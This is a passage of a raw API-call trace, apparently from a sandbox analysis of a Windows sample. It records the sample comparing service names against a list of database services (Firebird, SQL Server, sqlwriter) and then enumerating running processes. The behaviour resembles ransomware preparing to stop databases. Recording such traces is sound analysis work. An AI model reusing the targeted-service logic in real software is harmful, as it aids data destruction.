returned -1 [0198.964] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0198.964] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0198.964] lstrlenW (lpString="lmhosts") returned 7 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0198.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0198.964] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0198.964] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0198.964] lstrlenW (lpString="LSM") returned 3 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0198.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0198.964] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0198.964] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0198.964] lstrlenW (lpString="MpsSvc") returned 6 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0198.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0198.965] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0198.965] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0198.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0198.965] lstrlenW (lpString="NcbService") returned 10 [0198.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0198.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0198.965] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0198.965] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0198.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0198.965] lstrlenW (lpString="netprofm") returned 8 [0198.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0198.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0198.965] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0198.965] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0198.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0198.965] lstrlenW (lpString="NlaSvc") returned 6 [0198.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0198.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0198.965] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0198.965] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0198.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0198.965] lstrlenW (lpString="nsi") returned 3 [0198.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0198.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0198.965] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0198.965] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0198.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0198.965] lstrlenW (lpString="PcaSvc") returned 6 [0198.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0198.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0198.966] lstrlenW (lpString="PlugPlay") returned 8 [0198.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0198.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0198.966] lstrlenW (lpString="Power") returned 5 [0198.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0198.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0198.966] lstrlenW (lpString="ProfSvc") returned 7 [0198.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0198.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0198.966] lstrlenW (lpString="RpcEptMapper") returned 12 [0198.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0198.966] lstrlenW (lpString="RpcSs") returned 5 [0198.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0198.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0198.966] lstrlenW (lpString="SamSs") returned 5 [0198.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0198.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0198.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0198.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0198.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0198.967] lstrlenW (lpString="Schedule") returned 8 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0198.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0198.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0198.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0198.967] lstrlenW (lpString="SecurityHealthService") returned 21 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0198.967] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0198.967] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0198.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0198.967] lstrlenW (lpString="SENS") returned 4 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0198.967] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0198.967] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0198.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0198.967] lstrlenW (lpString="ShellHWDetection") returned 16 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.967] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0198.967] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0198.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0198.967] lstrlenW (lpString="Spooler") returned 7 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0198.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0198.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0198.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0198.967] lstrlenW (lpString="SSDPSRV") returned 7 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0198.967] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0198.967] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0198.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0198.967] lstrlenW (lpString="StateRepository") returned 15 [0198.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0198.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0198.968] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0198.968] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0198.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0198.968] lstrlenW (lpString="SysMain") returned 7 [0198.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0198.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0198.968] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0198.968] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0198.968] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810c70 | out: hHeap=0x790000) returned 1 [0198.968] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0198.972] Process32FirstW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.972] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0198.977] lstrlenW (lpString="System") returned 6 [0198.977] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0198.978] lstrlenW (lpString="smss.exe") returned 8 [0198.978] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.979] lstrlenW (lpString="csrss.exe") returned 9 [0198.979] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0198.979] lstrlenW (lpString="wininit.exe") returned 11 [0198.980] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.980] lstrlenW (lpString="csrss.exe") returned 9 [0198.980] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.981] lstrlenW (lpString="winlogon.exe") returned 12 [0198.981] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.982] lstrlenW (lpString="services.exe") returned 12 [0198.982] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.982] lstrlenW (lpString="lsass.exe") returned 9 [0198.982] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.983] lstrlenW (lpString="svchost.exe") returned 11 [0198.983] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0198.984] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0198.984] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0198.984] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0198.984] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.986] lstrlenW (lpString="svchost.exe") returned 11 [0198.986] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.986] lstrlenW (lpString="dwm.exe") returned 7 [0198.986] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.987] lstrlenW (lpString="svchost.exe") returned 11 [0198.987] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.988] lstrlenW (lpString="svchost.exe") returned 11 [0198.988] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.988] lstrlenW (lpString="svchost.exe") returned 11 [0198.988] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.989] lstrlenW (lpString="svchost.exe") returned 11 [0198.989] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.990] lstrlenW (lpString="svchost.exe") returned 11 [0198.990] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.990] lstrlenW (lpString="svchost.exe") returned 11 [0198.990] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.991] lstrlenW (lpString="svchost.exe") returned 11 [0198.991] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.992] lstrlenW (lpString="svchost.exe") returned 11 [0198.992] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.993] lstrlenW (lpString="svchost.exe") returned 11 [0198.993] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0198.993] lstrlenW (lpString="spoolsv.exe") returned 11 [0198.993] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.994] lstrlenW (lpString="svchost.exe") returned 11 [0198.994] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.995] lstrlenW (lpString="svchost.exe") returned 11 [0198.995] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.995] lstrlenW (lpString="audiodg.exe") returned 11 [0198.995] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0198.996] lstrlenW (lpString="sihost.exe") returned 10 [0198.996] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.997] lstrlenW (lpString="svchost.exe") returned 11 [0198.997] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0198.998] lstrlenW (lpString="taskhostw.exe") returned 13 [0198.998] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0198.998] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0198.998] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0198.999] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0198.999] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.000] lstrlenW (lpString="explorer.exe") returned 12 [0199.000] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0199.000] lstrlenW (lpString="Memory Compression") returned 18 [0199.000] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0199.001] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0199.001] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0199.002] lstrlenW (lpString="SearchUI.exe") returned 12 [0199.002] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0199.002] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0199.002] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.003] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.003] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0199.004] lstrlenW (lpString="entering.exe") returned 12 [0199.004] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0199.005] lstrlenW (lpString="literally.exe") returned 13 [0199.005] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0199.005] lstrlenW (lpString="prep.exe") returned 8 [0199.005] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0199.006] lstrlenW (lpString="homeless.exe") returned 12 [0199.006] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, 